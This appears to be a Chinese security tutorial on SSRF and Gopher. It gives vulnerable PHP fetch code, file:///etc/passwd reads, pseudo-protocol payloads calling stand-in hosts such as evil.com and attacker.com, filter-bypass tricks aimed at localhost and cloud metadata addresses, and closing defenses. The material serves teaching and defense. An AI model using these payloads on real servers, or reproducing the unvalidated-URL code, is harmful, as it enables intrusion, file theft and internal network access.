SSRF&Gopher 协议

SSRF&Gopher 协议

[!WARNING]

本文详细介绍了通过 URL 地址实现的多种功能及其可能引发 SSRF(服务器端请求伪造)漏洞的场景、利用方法、常见函数、伪协议、绕过方式以及防御措施。请务必注意,本文内容仅供技术研究和学习之用,禁止用于任何非法用途。

什么是SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF漏洞原理

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

比如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器


常见功能场景

分享功能

通过 URL 地址分享网页内容。

转码服务

通过 URL 地址将原地址的网页内容调优,使其适合手机屏幕浏览。
由于手机屏幕较小,直接浏览可能不便,因此有些公司(如百度、腾讯、搜狗等)提供在线转码服务。

在线翻译

通过 URL 地址翻译对应文本内容。
国内提供此功能的公司包括百度、有道等。

图片与文章收藏功能

  • 文章收藏:
    类似于分享功能,通过 URL 地址中的 title 参数获取文章标题及文本内容作为展示,便于用户收藏。
    示例 URL:

    1
    http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de

    注:若收藏功能未限制参数,可能存在 SSRF 漏洞。

  • 图片收藏:
    与功能四(图片加载)类似,通过 URL 地址加载图片用于展示。

未公开的 API 实现及其他调用 URL 的功能

例如,360 网站评分功能或部分网站通过 API 获取远程 XML 文件加载内容。

图片加载与下载

通过 URL 地址加载或下载图片,常用于调整图片(水印、压缩等)以提升用户体验。
虽然直接使用 <img> 标签加载图片可行,但因开发者往往需要对图片做细微调整,相关代码实现中可能引入 SSRF 漏洞。

注: 即使加载自家图片服务器上的图片,也可能因附加处理操作(如压缩、水印)而造成 SSRF 问题。

从 URL 关键字中寻找

利用 Google 语法加上以下关键字寻找可能存在 SSRF 漏洞的 URL 参数:

  • share
  • wap
  • url
  • link
  • src
  • source
  • target
  • u
  • display
  • sourceURl
  • imageURL
  • domain

简单总结:
所有目标服务器会从自身发起请求的功能点,如果我们能控制请求中 URL 参数,都可能引发 SSRF 漏洞。


产生 SSRF 漏洞的函数

以下示例均为 PHP 代码示例:

1. file_get_contents

使用 file_get_contents 从用户指定 URL 获取图片内容,再以随机文件名保存到硬盘,并展示给用户。

1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>

2. fsockopen

利用 fsockopen 实现获取用户指定 URL 的数据(文件或 HTML),此函数通过 socket 建立 TCP 连接传输原始数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
function GetFile($host, $port, $link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents = '';
while (!feof($fp)) {
$contents .= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

3. curl_exec

利用 cURL 通过 PHP 获取数据,下载的文件被保存到指定目录下,并附加随机数和 .txt 文件扩展名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj, CURLOPT_URL, $link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>

注意事项:

  • 一般情况下,PHP 不会开启 fopen 的 gopher wrapper。
  • file_get_contents 的 gopher 协议不支持 URL 编码。
  • file_get_contents 关于 Gopher 的 302 跳转存在 bug,可能导致利用失败。
  • curl/libcurl 7.43 版本上 gopher 协议存在 bug(%00 截断),经测试 7.49 版本可用。
  • curl_exec() 默认不跟踪跳转,而 file_get_contents() 支持 php://input 协议。

SSRF 中 URL 的伪协议

在发现 SSRF 漏洞后,首先需要测试所有可用的 URL 伪协议:

file://

从文件系统中获取文件内容
示例:

1
2
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

若服务器阻止对外 HTTP 请求或启用白名单防护,仅需使用 file:// 协议即可绕过。

dict://

DICT 协议用于访问字典资源
示例:

1
http://example.com/ssrf.php?url=dict://evil.com:1337/

在目标服务器上可用 nc -lvp 1337 监听端口,捕获请求信息。

sftp://

SSH 文件传输协议
示例:

1
http://example.com/ssrf.php?url=sftp://evil.com:1337/

同样可通过监听工具验证连接。

ldap://、ldaps:// 或 ldapi://

轻量级目录访问协议
示例:

1
2
3
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

tftp://

简单文件传输协议
示例:

1
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

在 evil.com 上用 nc -lvup 1337 监听 UDP 请求。

gopher://

分布式文档传递服务
示例:

1
http://example.com/ssrf.php?url=http://attacker.com/gopher.php

在 attacker.com 部署 gopher.php,内容例如:

1
<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest'); ?>

在 evil.com 上监听端口验证请求。

攻击工具

https://github.com/tarunkant/Gopherus


四、SSRF 漏洞利用(危害)

  1. 可对外网、内网或本地进行端口扫描,获取服务 Banner 信息;
  2. 攻击运行在内网或本地的应用程序(如利用溢出漏洞);
  3. 对内网 Web 应用进行指纹识别,通过访问默认文件获取信息;
  4. 利用 GET 参数攻击内外网的 Web 应用(例如 struts2、SQL 注入等);
  5. 利用 file 协议读取本地文件;
  6. 利用各个协议(http、file、dict、ftp、gopher 等)进行探针攻击。

示例:

1
2
3
4
http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21

五、SSRF 绕过方式

由于部分存在 SSRF 漏洞的功能可能会做白名单或黑名单处理,以下介绍常见的绕过方法:

一、常见绕过方式

  1. 利用 @ 符号绕过域名限制
    当限制为 http://www.xxx.com 域名时,可采用基本身份认证格式进行绕过:

    1
    http://www.aaa.com@www.bbb.com@www.ccc.com

    在 PHP 的 parse_url 中会识别为 www.ccc.com,而 libcurl 则可能识别为 www.bbb.com

  2. 采用短网址绕过
    如百度短地址 https://dwz.cn/ 等。

  3. 采用进制转换绕过
    例如,127.0.0.1 可转换为:

    • 八进制:0177.0.0.1
    • 十六进制:0x7f.0.0.1
    • 十进制:2130706433
  4. 利用特殊域名
    原理基于 DNS 解析,例如利用 xip.io(或其他类似服务)实现

    1
    127.0.0.1.xip.io

    可解析为 127.0.0.1。

  5. 利用 [::] 绕过 localhost
    示例:

    1
    http://169.254.169.254 >> http://[::169.254.169.254]
  6. 利用句号(全角或特殊符号)绕过
    例如:

    1
    127。0。0。1  >>> 127.0.0.1
  7. CRLF 编码绕过
    利用 %0d(回车)和 %0a(换行)进行 HTTP 头部注入。
    示例:

    1
    example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a 
  8. 利用封闭的字母数字绕过
    利用 Enclosed alphanumerics 替换字符,例如:

    1
    ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com

    以及通过类似如下转换:

    1
    http://169.254.169.254 >>> http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]

    常见符号列表如下:

    1
    2
    3
    4
    5
    6
    ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
    ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
    ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
    ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
    Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
    ⓪ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

二、常见限制及对应绕过方法

  1. 限制域名为 http://www.xxx.com
    可利用基本身份认证的方式,即使用 @ 绕过,例如:

    1
    http://www.xxx.com@www.xxc.com
  2. 限制请求 IP 不为内网地址
    绕过方式包括:

    • 采用短网址
    • 采用特殊域名
    • 采用进制转换
  3. 限制请求协议仅为 HTTP
    可通过 302 跳转或短地址方式绕过。


六、SSRF 漏洞防御措施

通常有以下五个思路:

  1. 过滤返回信息
    验证远程服务器对请求响应是否符合预期格式,若不符合则拒绝展示。
  2. 统一错误信息
    避免将详细错误信息反馈给用户,以防攻击者根据错误推断远程服务器端口状态。
  3. 限制请求端口
    仅允许常用的 HTTP 端口(如 80、443、8080、8090)进行请求。
  4. 黑名单内网 IP
    防止应用被利用去访问内网数据或攻击内网服务。
  5. 禁用不需要的协议
    仅允许 HTTP 和 HTTPS 请求,禁止 file://、gopher://、ftp:// 等协议。